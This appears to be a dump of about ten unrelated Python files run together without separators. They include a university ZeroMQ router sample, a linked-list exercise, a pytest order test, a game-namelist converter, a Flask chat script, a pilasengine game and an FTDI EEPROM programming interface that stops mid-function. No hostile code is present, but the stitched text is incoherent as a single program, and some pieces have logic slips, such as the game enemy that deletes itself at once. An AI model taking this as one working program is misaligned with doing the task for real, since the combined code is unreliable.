# Sample code for CS4283-5283
# Vanderbilt University
# Instructor: Aniruddha Gokhale
# Created: Fall 2022
#
# Code taken from ZeroMQ's sample code for the HelloWorld
# program, but modified to use DEALER-ROUTER sockets to showcase
# TCP. Plus, added other decorations like comments, print statements,
# argument parsing, etc.
#
# This code is for the intermediate router.
#
# Note: my default indentation is now set to 2 (in other snippets, it
# used to be 4)

# import the needed packages
import sys    # for system exception
import time   # for sleep
import argparse # for argument parsing
import zmq    # this package must be imported for ZMQ to work
import json

##################################
# Driver program
##################################
def driver (args):
  # First we need to find the connection socket and bind socket
  conn_setting = find_my_connections(args.myaddr)

  if (conn_setting != 0):
    bindaddr = conn_setting["binding_ip"]
    connaddr = conn_setting["connection_ip"]
    demux = conn_setting["role"]
    if conn_setting["next_role"] == "jay_server":
      nexthopport = 5555
    else:
      nexthopport = args.nexthopport
  else:
    # If the router is not the part of route run it in default settings
    bindaddr = args.myaddr
    connaddr = args.nexthopaddr
    demux = args.demux_token
    nexthopport = args.nexthopport

  print("bindIP: {0}, connIP: {1}, demux: {2}, nexthopprt: {3}".format(bindaddr, connaddr, demux, nexthopport))

  try:
    # every ZMQ session requires a context
    print ("Obtain the ZMQ context")
    context = zmq.Context ()   # returns a singleton object
  except zmq.ZMQError as err:
    print ("ZeroMQ Error obtaining context: {}".format (err))
    return
  except:
    print ("Some exception occurred getting context {}".format (sys.exc_info()[0]))
    return

  try:
    # Get a poller object
    print ("Obtain the Poller")
    poller = zmq.Poller ()
  except zmq.ZMQError as err:
    print ("ZeroMQ Error obtaining poller: {}".format (err))
    return
  except:
    print ("Some exception occurred getting poller {}".format (sys.exc_info()[0]))
    return

  try:
    # The socket concept in ZMQ is far more advanced than the traditional socket in
    # networking. Each socket we obtain from the context object must be of a certain
    # type. For TCP, we will use ROUTER for server side (many other pairs are supported
    # in ZMQ for tcp.
    print ("Obtain the ROUTER type socket")
    bind_sock = context.socket (zmq.ROUTER)
  except zmq.ZMQError as err:
    print ("ZeroMQ Error obtaining ROUTER socket: {}".format (err))
    return
  except:
    print ("Some exception occurred getting ROUTER socket {}".format (sys.exc_info()[0]))
    return

  try:
    # as in a traditional socket, tell the system what port are we going to listen on
    # Moreover, tell it which protocol we are going to use, and which network
    # interface we are going to listen for incoming requests. This is TCP.
    print ("Bind the ROUTER socket")
    bind_string = "tcp://" + bindaddr + ":" + str (args.myport)
    print ("TCP router will be binding on {}".format (bind_string))
    bind_sock.bind (bind_string)
  except zmq.ZMQError as err:
    print ("ZeroMQ Error binding ROUTER socket: {}".format (err))
    bind_sock.close ()
    return
  except:
    print ("Some exception occurred binding ROUTER socket {}".format (sys.exc_info()[0]))
    bind_sock.close ()
    return

  try:
    # The socket concept in ZMQ is far more advanced than the traditional socket in
    # networking. Each socket we obtain from the context object must be of a certain
    # type. For TCP, we will use the DEALER socket type (many other pairs are supported)
    # and this is to be used on the client side.
    print ("Router acquiring connection socket")
    conn_sock = context.socket (zmq.DEALER)
  except zmq.ZMQError as err:
    print ("ZeroMQ Error obtaining context: {}".format (err))
    return
  except:
    print ("Some exception occurred getting DEALER socket {}".format (sys.exc_info()[0]))
    return

  try:
    # set our identity
    print ("router setting its identity: {}".format (demux))
    conn_sock.setsockopt (zmq.IDENTITY, bytes (demux, "utf-8"))
  except zmq.ZMQError as err:
    print ("ZeroMQ Error setting sockopt: {}".format (err))
    return
  except:
    print ("Some exception occurred setting sockopt on REQ socket {}".format (sys.exc_info()[0]))
    return

  try:
    # as in a traditional socket, tell the system what IP addr and port are we
    # going to connect to. Here, we are using TCP sockets.
    print ("Router connecting to next hop")
    connect_string = "tcp://" + connaddr + ":" + str (nexthopport)
    print ("TCP client will be connecting to {}".format (connect_string))
    conn_sock.connect (connect_string)
  except zmq.ZMQError as err:
    print ("ZeroMQ Error connecting DEALER socket: {}".format (err))
    conn_sock.close ()
    return
  except:
    print ("Some exception occurred connecting DEALER socket {}".format (sys.exc_info()[0]))
    conn_sock.close ()
    return

  try:
    # register sockets
    print ("Register sockets for incoming events")
    poller.register (bind_sock, zmq.POLLIN)
    poller.register (conn_sock, zmq.POLLIN)
  except zmq.ZMQError as err:
    print ("ZeroMQ Error registering with poller: {}".format (err))
    return
  except:
    print ("Some exception occurred getting poller {}".format (sys.exc_info()[0]))
    return

  # since we are a server, we service incoming clients forever
  print ("Router now starting its forwarding loop")
  while True:
    try:
      # collect all the sockets that are enabled in this iteration
      print ("Poller polling")
      socks = dict (poller.poll ())
    except zmq.ZMQError as err:
      print ("ZeroMQ Error polling: {}".format (err))
      return
    except:
      print ("Some exception occurred in polling {}".format (sys.exc_info()[0]))
      return

    # Now handle the event for each enabled socket
    if bind_sock in socks:
      # we are here implies that the bind_sock had some info show up.
      try:
        #  Wait for next request from previous hop. When using DEALER/ROUTER, it is suggested to use
        # multipart send/receive. What we receive will comprise the sender's info which we must preserve, an empty
        # byte, and then the actual payload
        print ("Receive from prev hop")
        request = bind_sock.recv_multipart ()
        print("Router received request from prev hop via ROUTER: %s" % request)
      except zmq.ZMQError as err:
        print ("ZeroMQ Error receiving: {}".format (err))
        bind_sock.close ()
        return
      except:
        print ("Some exception occurred receiving/sending {}".format (sys.exc_info()[0]))
        bind_sock.close ()
        return

      try:
        #  forward request to server
        print ("Forward the same request to next hop over the DEALER")
        conn_sock.send_multipart (request)
      except zmq.ZMQError as err:
        print ("ZeroMQ Error forwarding: {}".format (err))
        conn_sock.close ()
        return
      except:
        print ("Some exception occurred forwarding {}".format (sys.exc_info()[0]))
        conn_sock.close ()
        return

    if conn_sock in socks:
      try:
        #  Wait for response from next hop
        print ("Receive from next hop")
        response = conn_sock.recv_multipart ()
        print("Router received response from next hop via DEALER: %s" % response)
      except zmq.ZMQError as err:
        print ("ZeroMQ Error receiving response: {}".format (err))
        conn_sock.close ()
        return
      except:
        print ("Some exception occurred receiving response {}".format (sys.exc_info()[0]))
        conn_sock.close ()
        return

      try:
        #  Send reply back to previous hop. request[0] is the original client identity preserved at every hop
        # response[1] has actual payload
        print ("Send reply to prev hop via ROUTER")
        bind_sock.send_multipart (response)
      except zmq.ZMQError as err:
        print ("ZeroMQ Error sending: {}".format (err))
        bind_sock.close ()
        return
      except:
        print ("Some exception occurred receiving/sending {}".format (sys.exc_info()[0]))
        bind_sock.close ()
        return

def find_my_connections(myIp):
  # Open files generated by the SDN controller
  rtf = open('routing_table.json')
  nsf = open('network_and_service.json')
  ndf = open('network_data.json')
  mf = open('mapping.json')
  m = json.load(mf)
  rt = json.load(rtf)
  ns = json.load(nsf)
  nd = json.load(ndf)

  # find yourself the routing table
  connection_link = {} # router will forward to this IP
  binding_link = {} # router will listen to this IP

  for k, v in rt.items():
    if(k == myIp):
      connection_link[k] = v
    if(v == myIp):
      binding_link[k] = v

  if(len(connection_link) == 0 and len(binding_link) == 0):
    # this router is not a part of routing
    return 0

  connection_setting = {
    "binding_ip": find_my_connections_ips(m, ns, binding_link),
    "connection_ip": find_my_connections_ips(m, ns, connection_link),
    "role": find_role(m, binding_link),
    "next_role": find_role(m, connection_link)
  }

  return connection_setting

def find_my_connections_ips(m, ns, link):
  # Find your role (router1, router2, server etc) in the mapping by your ip address
  for k,v in m.items():
    for k2, v2 in link.items():
      if v["node"] == k2:
        role1 = k
      if v["node"] == v2:
        role2 = k

  # Find the Connection Ip: Find for which overlay_nw both role1, role2 is a part of
  for k,v in ns.items():
    if (role1 in v) and (role2 in v):
      conn_overlay = k

  # Find the Connection Ip: Find the ip address of that overlay in eth of role2
  return m[role2][conn_overlay]

def find_role(m, link):
  # Find your role (router1, router2, server etc) in the mapping by your ip address
  for k,v in m.items():
    for k2, v2 in link.items():
      if v["node"] == v2:
        role = k

  return role

##################################
# Command line parsing
##################################
def parseCmdLineArgs ():
  # parse the command line
  parser = argparse.ArgumentParser ()

  # add optional arguments
  parser.add_argument ("-a", "--myaddr", default="*", help="Interface to bind to (default: *)")
  parser.add_argument ("-p", "--myport", type=int, default=4444, help="Port to bind to (default: 4444)")
  parser.add_argument ("-A", "--nexthopaddr", default="127.0.0.1", help="IP Address of next router or end server to connect to (default: localhost i.e., 127.0.0.1)")
  parser.add_argument ("-P", "--nexthopport", type=int, default=4444, help="Port that appln or next router is listening on (default: 4444)")
  parser.add_argument ("-t", "--demux_token", default="router", help="Our identity used as a demultiplexing token (default: router)")
  args = parser.parse_args ()

  return args

#------------------------------------------
# main function
def main ():
  """ Main program """

  print("Demo program for TCP Router with ZeroMQ")

  # first parse the command line args
  parsed_args = parseCmdLineArgs ()

  # start the driver code
  driver (parsed_args)

#----------------------------------------------
if __name__ == '__main__':
  # here we just print the version numbers
  print("Current libzmq version is %s" % zmq.zmq_version())
  print("Current pyzmq version is %s" % zmq.pyzmq_version())

  main ()


#!/bin/python3

import math
import os
import random
import re
import sys

class SinglyLinkedListNode:
    def __init__(self, node_data):
        self.data = node_data
        self.next = None

class SinglyLinkedList:
    def __init__(self):
        self.head = None
        self.tail = None

def printLinkedList(head):
    nextValue = head
    while nextValue is not None:
        print(nextValue.data)
        nextValue = nextValue.next

# Complete the insertNodeAtHead function below.

#
# For your reference:
#
# SinglyLinkedListNode:
#     int data
#     SinglyLinkedListNode next
#
#
def insertNodeAtHead(llist, data):
    # Write your code here
    newHead = SinglyLinkedListNode(data)
    newHead.next = llist
    return newHead

if __name__ == '__main__':
    #fptr = open(os.environ['OUTPUT_PATH'], 'w')

    llist_count = int(input("Enter Count: "))

    llist = SinglyLinkedList()

    for i in range(llist_count):
        llist_item = int(input("Enter Value: "))
        llist_head = insertNodeAtHead(llist.head, llist_item)
        llist.head = llist_head

    printLinkedList(llist_head)
    #fptr.write('\n')

    #fptr.close()


import sys
import traceback
from commands import InvalidCommandArguments, InvalidCommand, CommandException, commands

__author__ = "Christian F. (known as Chryfi)"
__copyright__ = "Copyright 2022, LectorLips"
__credits__ = ["Christian F. (known as Chryfi)", "Florian Torgau"]
__maintainer__ = "Christian F. (known as Chryfi)"
__status__ = "Release"
__version__ = "1.1"

if __name__ == "__main__":
    if len(sys.argv) > 0:
        commandClass = None

        try:
            sys.argv.pop(0)

            if len(sys.argv) == 0 or (len(sys.argv) > 0 and commands.get(sys.argv[0]) is None):
                raise InvalidCommand("No existing command was provided. Type in -help for a list of commands")

            commandClass = commands.get(sys.argv[0])

            sys.argv.pop(0)

            command = commandClass(sys.argv)

            command.execute()
        except Exception as e:
            if "-debug" in sys.argv:
                print(traceback.format_exc())

            print(e)

            if isinstance(e, InvalidCommandArguments) and commandClass is not None:
                print("\n")
                print(commandClass.get_documentation())
            elif not isinstance(e, InvalidCommand) and not isinstance(e, CommandException) and not "-debug" in sys.argv:
                print("\nType in -debug for the stacktrace.")

            quit(1)

        quit(0)


import sys
input = sys.stdin.readline

while 1:
    res = 0
    s = input().rstrip()
    if s=="#": break

    res = 0
    for i, c in enumerate(s):
        if c==" ": continue
        res += (i+1)*(ord(c)-ord("A")+1)
    print(res)


#k-Nearest Neighbors Classification
from sklearn.neighbors import KNeighborsClassifier
import joblib

joblib_file = "KNN_model.pkl"
def KNN(x_train,x_test,y_train):
    #create model
    model = KNeighborsClassifier(n_neighbors=3)
    #fit model
    model.fit(x_train, y_train)
    #prediction test data
    y_pred = model.predict(x_test)
    #save model with joblib
    #joblib.dump(model, joblib_file)

    return y_pred


import pytest
import logging

from data_access_object.products_dao import ProductsDAO
from helper_classes.orders_helper import OrdersHelper

@pytest.fixture
def setup_product_id():
    product_dao = ProductsDAO()

    # get a random product from db
    random_product = product_dao.get_random_product_from_db(quantity=1)
    product_id = random_product[0]['ID']
    logging.info(f"Random product id: {product_id}")

    return product_id

@pytest.mark.tcid60
def test_create_order_with_coupon(setup_product_id):

    order_helper = OrdersHelper()
    product_id = setup_product_id
    coupon = {"code": "50off2"}

    # make the call
    info = {"line_items": [{"product_id": product_id, "quantity": 1}],
            "coupon_lines": [coupon]}

    order_json = order_helper.create_order(additional_args=info)
    order_id = order_json['id']
    products = order_json['line_items']
    logging.info(f"Order id: {products}")
    logging.info(f"Order id: {order_id}")

    # Verify response and db
    order_helper.verify_order_is_created(order_json, products, customer_id=0)


import csv
import logging
import os
from pathlib import Path
from collections import OrderedDict

import jinja2schema
import regex

import constants.constants as c
from clean.cleaner import clean_input_text

log = logging.getLogger('NMG')

def csv_to_dicts(namelist_file, author):
    """
    Converts namelist_file to a dictionaru
    :param author: namelist author as passed in via command line
    :param namelist_file: Path to a CSV namelist file
    :return:
    """

    # Create dictionary of cleaned texts
    namelist_dict = {key: [] for key in _get_template_variables()}
    with open(namelist_file, 'r') as file:
        reader = csv.DictReader(file)
        for row in reader:
            for k, v in row.items():
                if k in namelist_dict.keys() and len(v) > 0:
                    clean_text = clean_input_text(v)
                    namelist_dict[k].append(clean_text)

    # Generate localization keys
    for k, v in namelist_dict.items():
        if k not in c.UNKEYED_FIELDS and len(v) > 0:
            values = create_keyed_dict(k, v, author, namelist_dict['namelist_id'][0])
            namelist_dict[k] = values
    return namelist_dict

def create_keyed_dict(key, values, author, namelist_id):
    """
    Builds key value pairs using a generated reference key and values associated with it.
    :param key: The namelist-level key, or category, as specified in the CSV file. Analagous to a column in the CSV.
    :param values: The values associated with the namelist category.
    :param author: author of the namelist, for use in building a reference key.
    :param namelist_id: The ID of the namelist to be used in building a reference key.
    :return:
    """
    if len(values) > 1:
        vdict = dict()
        for v in values:
            value_key = f'{author}_{namelist_id}_{key}_{v}'
            value_key = regex.sub('[^0-9a-zA-Z]+', '_', value_key).upper()
            vdict[value_key] = [v]
        return vdict
    else:
        value_key = regex.sub('[^0-9a-zA-Z]+', '_', key).upper()
        return {f"{author.upper()}_{namelist_id.upper()}_{value_key}": values}

def csv_template(dest):
    """
    Dumps a CSV template that can be populated and used as input for the tool.
    :param dest: The location to dump the CSV template to.
    :return:
    """
    fields = _get_template_variables()
    with open(dest, 'w', newline='\n') as file:
        writer = csv.writer(file)
        writer.writerow(fields)

def _get_template_variables():
    variables = jinja2schema.infer(Path(os.path.join(c.TEMPLATES_DIR, "namelist.txt")).read_text())
    meta_list = ['namelist_title', 'namelist_author', 'namelist_id']
    objects = []
    for category in variables.items():
        if category[0] not in meta_list:
            objects.append(category[0])
    objects.sort()
    meta_list.extend(objects)
    return meta_list

def create_template(dest_file):
    """
    Proxy function for csv_template function.
    :param dest_file:
    :return:
    """
    try:
        if not dest_file.endswith('csv'):
            dest_file = f'{dest_file}.csv'
        csv_template(dest_file)
        log.info(f'Template csv file written to {dest_file}')
    except Exception as e:
        log.critical(f'Template creation failed: {e}')

def update_name(txt, sub_commas=False):
    for k, v in c.SUB_TOKENS.items():
        if k in txt:
            txt = txt.replace(k, v)
            break
    txt = txt.strip()
    if sub_commas:
        pattern = r'\s+(?=(?:[^"]*"[^"]*")*[^"]*$)'  # matches spaces not inside quotes
        replacement = ','
        txt = regex.sub(pattern, replacement, txt)
    return txt.split(',')

def namelist_txt_to_dict(namelist_file, author, title, namelist_id):
    with open(namelist_file, 'r') as f:
        contents = f.read()

    namelist_dict = OrderedDict()
    namelist_dict['namelist_title'] = [title]
    namelist_dict['namelist_author'] = [author]
    namelist_dict['namelist_id'] = [namelist_id]
    namelist_fields = _get_template_variables()
    for field in namelist_fields:
        log.debug(f"Populating {field} from txt file")
        if 'namelist' in field:
            continue
        pattern_suffix = r"\s*=\s*{\s*([^}]+)\s*}"
        uncategorized_field = "_".join(field.split("_")[1:])
        if uncategorized_field == "battle_cruiser":
            uncategorized_field = "Battlecruiser"
        if uncategorized_field == "strike_cruiser":
            uncategorized_field = "Strikecruiser"
        if uncategorized_field == "exploration_ship":
            uncategorized_field = "explorationship"
        if field.startswith('pn_'):
            uncategorized_field = f"pc_{field.split('_')[1]}"
            pattern_suffix = r"\s*=\s*{[^}]+names\s*=\s*{\s*([^}]+)\s*}\s*}"
        pattern_string = f"\s+{uncategorized_field}{pattern_suffix}"
        pattern = regex.compile(pattern_string, regex.IGNORECASE)
        match = pattern.search(contents)
        if field.startswith("an_"):
            if match:
                match_string = match.group(0).replace("\t", " ").replace("\n", " ")
                names = regex.search(r'=\s*\{\s*(?:\w+\s*=)?\s*(".*?")\s*\}', match_string)
                namelist_dict[field] = update_name(names.group(1))
            else:
                namelist_dict[field] = []

        if field.startswith('sn_'):
            if match:
                match_string = match.group(0).replace("\t", " ").replace("\n", " ")
                names = regex.search(r'{(.*)}', match_string)
                namelist_dict[field] = update_name(names.group(1), True)
            else:
                namelist_dict[field] = []

        if field.startswith('cn_'):
            if match:
                match_string = match.group(0).replace("\t", " ").replace("\n", " ")
                names = regex.search(r'{(.*)}', match_string, flags=regex.DOTALL)

                namelist_dict[field] = update_name(names.group(1), True)
            else:
                namelist_dict[field] = []
        if field.startswith('pn_'):
            if match:
                match_string = match.group(0).replace("\t", " ").replace("\n", " ")
                names = regex.search(r'names\s*=\s*{(.+?)\s*(?=})', match_string, flags=regex.DOTALL)

                namelist_dict[field] = update_name(names.group(1), True)
            else:
                namelist_dict[field] = []
        if field.startswith('fn_'):
            if match:
                match_string = match.group(0).replace("\t", " ").replace("\n", " ")
                if 'random_names' in match_string:
                    pattern = r'random_names\s*=\s*"(.+?)"\s*}'
                else:
                    pattern = r'sequential_name\s*=\s*"(.+?)"\s*}'
                names = regex.search(pattern, match_string, flags=regex.DOTALL)
                if names:
                    namelist_dict[field] = update_name(names.group(1))
            else:
                namelist_dict[field] = []
    return namelist_dict


from flask import Flask, request
import pyfiglet
import requests
import sys

header = pyfiglet.figlet_format("MESSENGER",font='banner3-D',width=100)

if len(sys.argv) == 2:
    app = Flask(__name__)

    print(header)
    print('Listening on port {})'.format(str(sys.argv[1])))

    @app.route('/', methods=['POST'])
    def chat():
        request_msg = request.get_data(as_text=True)
        print(request_msg)
        return request_msg

    app.run(port=sys.argv[1], host='0.0.0.0', use_reloader=False)
    print('\nGoodbye')

elif len(sys.argv) == 3:
    try:
        print(header)
        username = input("Enter username:")
        print('Press CTRL + C to exit')
        while True:
            msg = input('Message: \n')
            r = requests.post(url='http://%s:%s/' % (sys.argv[1], sys.argv[2]), data='[%s] - %s\n' % (username, msg))
    except requests.exceptions.ConnectionError as e:
        print('Server unavaliable')
        print(e)
    except KeyboardInterrupt:
        print('\nGoodbye!')
        sys.exit()
    except Exception as e:
        print('Something is wrong')
        print('Details: {}'.format(e))


import pilasengine

pilas = pilasengine.iniciar()

puntaje = pilas.actores.Puntaje(-280, 200, color = pilas.colores.blanco)

class Pato(pilasengine.actores.Actor):

    def iniciar(self):

        self.imagen = "patito.png"
        self.y = -180

    def actualizar(self):

        if pilas.control.izquierda:
            self.x -= 5
            self.espejado = True

        if self.x <= -280:
                self.x = -280

        if pilas.control.derecha:
            self.x += 5
            self.espejado = False

        if self.x >= 280:
                self.x = 280

class AceitunaEnemiga(pilasengine.actores.Aceituna):

    def iniciar(self):
        self.imagen = "aceituna.png"
        self.aprender( pilas.habilidades.PuedeExplotarConHumo )
        self.x = pilas.azar(-200, 200)
        self.y = 290
        self.velocidad = pilas.azar(10, 40) / 10.0

    def actualizar(self):

        if self.y <= 300:
            self.eliminar()

pato = Pato(pilas)

aceituna = AceitunaEnemiga(pilas)
pilas.ejecutar()


import enum, urwid, argparse
import configparser, io
import pyftdi.ftdi
import pyftdi.usbtools
import pyftdi.eeprom
import pyftdi

# enum of usb module hex dumps to base configs on
# this is a temporary solution until pyftdi supports more properties
class ModuleBaseRAW(enum.Enum):
    FACTORY = (enum.auto(), "0808030410600007a04b080011119a0aa426ca1200000000560000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a0346005400440049002603460054003200320033003200480020004d0069006e0069004d006f00640075006c0065001203460054003400510046004e0044004e00020300000000000000000000000000000000000000000000000000000000000000003961")
    TUNER = (enum.auto(), "0001030410600007c000080033339a0aa424c81200000000560000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a034600540044004900240355005300420020003c002d003e0020004e0049004d002000740075006e006500720012034400410034004d00470045005a004b000000000000000000000000000000000000000000000000000000000000000000000000004a42")

    def __init__(self, enum, raw):
        self._raw = raw

    @property
    def baselineIni(self):
        config = configparser.ConfigParser()
        config.add_section('raw')
        config.set('raw','@00',self._raw)
        configIO = io.StringIO()
        config.write(configIO)
        configIO.seek(0)
        return configIO

# enum of known module configs
class ModuleConfigs(enum.Enum):
    UNKNOWN = (enum.auto(), frozenset(), False, False, False, None)
    GENERAL = (enum.auto(), frozenset([
        ('channel_a_type', 'UART'),
        ('group_0_drive', 16),
        ('group_0_schmitt', False),
        ('group_0_slow_slew', False),
        ('group_1_drive', 16),
        ('group_1_schmitt', False),
        ('group_1_slow_slew', False),
        ('group_2_drive', 16),
        ('group_2_schmitt', False),
        ('group_2_slow_slew', False),
        ('group_3_drive', 16),
        ('group_3_schmitt', False),
        ('group_3_slow_slew', False),
        ('has_serial', True),
        ('in_isochronous', False),
        ('out_isochronous', False),
        ('product_id', 24592),
        ('suspend_dbus7', pyftdi.eeprom.FtdiEeprom.CFG1(0)),
        ('suspend_pull_down', False),
        ('type', 1792),
        ('vendor_id', 1027)
    ]), False, False, False, None)
    TUNER = (enum.auto(), GENERAL[1] | frozenset([
        ('channel_a_driver', 'D2XX'),
        ('channel_b_driver', 'D2XX'),
        ('channel_b_type', 'FIFO'),
        ('remote_wakeup', False),
        ('self_powered', True),
        ('power_max', 0)
    ]), False, False, False, ModuleBaseRAW.TUNER)
    TUNER256 = (enum.auto(), TUNER[1] | frozenset([
        ('chip', 86),
    ]), False, False, False, ModuleBaseRAW.TUNER)
    FACTORY = (enum.auto(), GENERAL[1] | frozenset([
        ('channel_a_driver', 'VCP'),
        ('channel_b_driver', 'VCP'),
        ('channel_b_type', 'UART'),
        ('chip', 86),
        ('power_max', 150),
        ('product', 'FT2232H MiniModule'),
        ('remote_wakeup', True),
        ('self_powered', False),
    ]), True, False, True, ModuleBaseRAW.FACTORY)
    MINITIOUNER = (enum.auto(), TUNER256[1] | frozenset([
        ('product', 'USB <-> NIM tuner'),
    ]), True, True, True, ModuleBaseRAW.TUNER)
    MINITIOUNEREXPRESS = (enum.auto(), TUNER[1] | frozenset([
        ('chip', 70),
        ('product', 'MiniTiouner-Express'),
    ]), True, False, False, ModuleBaseRAW.TUNER)
    MINITIOUNER_S = (enum.auto(), TUNER256[1] | frozenset([
        ('product', 'MiniTiouner'),
    ]), True, False, False, ModuleBaseRAW.TUNER)
    MINITIOUNER_PRO_TS1 = (enum.auto(), TUNER256[1] | frozenset([
        ('product', 'MiniTiouner_Pro_TS1'),
    ]), True, False, False, ModuleBaseRAW.TUNER)
    MINITIOUNER_PRO_TS2 = (enum.auto(), TUNER256[1] | frozenset([
        ('product', 'MiniTiouner_Pro_TS2'),
    ]), True, False, False, ModuleBaseRAW.TUNER)
    KNUCKER = (enum.auto(), TUNER256[1] | frozenset([
        ('product', 'CombiTuner-Express'),
    ]), True, True, True, ModuleBaseRAW.TUNER)

    def __init__(self, enum, configset, canIdentify, flashableConfig, flashableDevice, rawBaseline):
        self._configset = configset
        self._canIdentify = canIdentify
        self._flashableConfig = flashableConfig
        self._flashableDevice = flashableDevice
        self._rawBaseline = rawBaseline

    @property
    def configSet(self):
        return self._configset

    @property
    def canIdentify(self):
        return self._canIdentify

    @property
    def flashableConfig(self):
        return self._flashableConfig

    @property
    def flashableDevice(self):
        return self._flashableDevice

    @property
    def rawBaseline(self):
        return self._rawBaseline

# urwid check box but also holds a device id and a current config
class ModuleCheckBox(urwid.CheckBox):
    def __init__(self, label, device, config):
        self._device = device
        self._config = config
        super().__init__(label)

    @property
    def device(self):
        return self._device

    @property
    def config(self):
        return self._config

# urwid text box for displaying unidentified modules but is compatible with the check box
class ModuleTextBox(urwid.Text):
    def __init__(self, label, device, config):
        self._device = device
        self._config = config
        super().__init__(label)

    @property
    def device(self):
        return self._device

    @property
    def config(self):
        return self._config

# urwid module that pops up a simple message box over the top level widget
class MessagePopUp(urwid.Overlay):
    def __init__(self, loop, messageText = "", messageTitle = None):
        self.loop = loop
        okButton = urwid.Button('OK', self.handleOk)

        self.contentlist = urwid.Pile([])
        if messageTitle is not None:
            self.contentlist.contents.append((urwid.Text(('heading', messageTitle), align="center"), self.contentlist.options('pack')))
        self.contentlist.contents.append((urwid.Text(messageText), self.contentlist.options('pack')))
        self.buttonBox = urwid.GridFlow([okButton], 7, 1, 1, 'center')
        self.contentlist.contents.append((self.buttonBox, self.contentlist.options('pack')))
        self.contentlist.set_focus(len(self.contentlist.contents)-1)
        self.mainBox = urwid.LineBox(self.contentlist)

    def open(self, button=None):
        self.buttonBox.focus_position = 0
        urwid.Overlay.__init__(self, self.mainBox, self.loop.widget,
				align='center', width=('relative', 50),
				valign='middle', height='pack',
				min_width=20, min_height=5)
        self.loop.widget = self

    def close(self, button=None):
        self.loop.widget = self.bottom_w

    def handleOk(self, button):
        self.close(None)

# urwid module that pops up a simple confirmation box over the top level widget
class ConfirmPopUp(urwid.Overlay):
    def __init__(self, loop, messageText = "", messageTitle = None, callback = None, userData = None):
        self.loop = loop
        self.callback = callback
        self.userData = userData
        yesButton = urwid.Button('Yes', self.handleYes)
        noButton = urwid.Button('No', self.handleNo)

        self.contentlist = urwid.Pile([])
        if messageTitle is not None:
            self.contentlist.contents.append((urwid.Text(('heading', messageTitle), align="center"), self.contentlist.options('pack')))
        self.contentlist.contents.append((urwid.Text(messageText), self.contentlist.options('pack')))
        self.buttonBox = urwid.GridFlow([noButton, yesButton], 7, 10, 1, 'center')
        self.contentlist.contents.append((self.buttonBox, self.contentlist.options('pack')))
        self.contentlist.set_focus(len(self.contentlist.contents)-1)
        self.mainBox = urwid.LineBox(self.contentlist)

    def open(self, button=None):
        self.buttonBox.focus_position = 0
        urwid.Overlay.__init__(self, self.mainBox, self.loop.widget,
				align='center', width=('relative', 50),
				valign='middle', height='pack',
				min_width=20, min_height=5)
        self.loop.widget = self

    def close(self, button=None):
        self.loop.widget = self.bottom_w

    def handleYes(self, button):
        self.close(None)
        if self.callback is not None:
            self.callback(self.loop, self.userData)

    def handleNo(self, button):
        self.close(None)

# urwid module that pops up a progress bar box over the top level widget
class ProgressPopUp(urwid.Overlay):
    def __init__(self, loop, callback = None, userData = None):
        self.loop = loop
        self.callback = callback
        self.userData = userData
        self.progressBar = urwid.ProgressBar('ProgressBack', 'ProgressFore')
        self.contentlist = urwid.Pile([])
        self.mainBox = urwid.LineBox(self.contentlist)

    def open(self, title, doneValue):
        self.progressBar.done = doneValue
        self.contentlist.contents[:] = [(urwid.Text(('heading',title), align='center'), self.contentlist.options('pack')), (self.progressBar, self.contentlist.options('pack'))]
        urwid.Overlay.__init__(self, self.mainBox, self.loop.widget,
				align='center', width=('relative', 50),
				valign='middle', height='pack',
				min_width=20, min_height=5)
        self.loop.widget = self

    def close(self, button):
        self.loop.widget = self.bottom_w
        if self.callback is not None:
            self.callback(button, self.userData)

    def setProgress(self, newProgress):
        self.progressBar.set_completion(newProgress)

    def setDone(self):
        self.progressBar.set_completion(self.progressBar.done)
        closeButton = urwid.Button('Close', self.close)
        buttonBox = urwid.GridFlow([closeButton], 9, 1, 1, 'center')
        self.contentlist.contents.append((buttonBox, self.contentlist.options('pack')))
        self.contentlist.set_focus(len(self.contentlist.contents)-1)

    def draw(self):
        self.loop.draw_screen()

# medium level interface to pyftdi
class ModulesInterface(object):
    def __init__(self, dryRun=True):
        self.dryRun = dryRun

    # returns dict of mapping between all found device identifiers and sets of tuples of config name/values pairs
    def fetchDevices(self):
        pyftdi.usbtools.UsbTools.flush_cache()
        foundDevices = pyftdi.ftdi.Ftdi.list_devices("ftdi://ftdi:2232h/1")
        devices = {}
        for deviceDesc in foundDevices:
            device = pyftdi.usbtools.UsbTools.get_device(deviceDesc[0])
            eeprom = pyftdi.eeprom.FtdiEeprom()
            eeprom.open(device)
            signature = []
            for prop in sorted(list(eeprom.properties)+['product']):
                signature.append((prop,getattr(eeprom, prop)))
            devices[deviceDesc]=frozenset(signature)
            eeprom.close()
            pyftdi.usbtools.UsbTools.release_device(device)
        return devices

    # programs a device with a config out of the config enum
    def programModule(self, deviceDesc, config):
        device = pyftdi.usbtools.UsbTools.get_device(deviceDesc[0])
        eeprom = pyftdi.eeprom.FtdiEeprom()
        eeprom.open(device)
        # hack #1 load closeish eeprom image as not all properties are configrarable
        configIO = config.rawBaseline.baselineIni
        eeprom.load_config(configIO, 'raw')
        eeprom.sync()
        varStringMap ={
                'manufacturer': eeprom.set_manufacturer_name,
                'product': eeprom.set_product_name,
                'serial': eeprom.set_serial_number
                }
        toRetry = {}
        for (prop, value) in config.configSet:
            if getattr(eeprom, prop) != value:
                if prop in varStringMap:
                    varStringMap[prop](value)
                else:
                    try:
                        eeprom.set_property(prop, value)
                    except NotImplementedError:
                        toRetry[prop]= value
        # hack #2 the data doesn't get reparsed when loaded as a raw, retry failed properties at the end as something is likely to have caused it to get repared in the meantime
        eeprom.sync()
        for prop, value in toRetry.items():
            if getattr(eeprom, prop) != value:
                eeprom.set_property(prop, value)
        result = eeprom.commit(self.dryRun)
        eeprom.close()
        return result

# UI widget that displays a list of found modules and manages their selection
class ModuleListWidget(urwid.WidgetWrap):
    def __init__(self, ftdiInterface, attemptIdentUnknown):
        self.ftdiInterface = ftdiInterface
        self.attemptIdentUnknown = attemptIdentUnknown
        self.walker = urwid.SimpleListWalker([])
        self.updateModuleCheckBoxes(None)
        urwid.WidgetWrap.__init__(self, urwid.ListBox(self.walker))

    def updateModuleCheckBoxes(self, button, userData = None):
        devices = self.ftdiInterface.fetchDevices()
        buttons = []
        for device in devices:
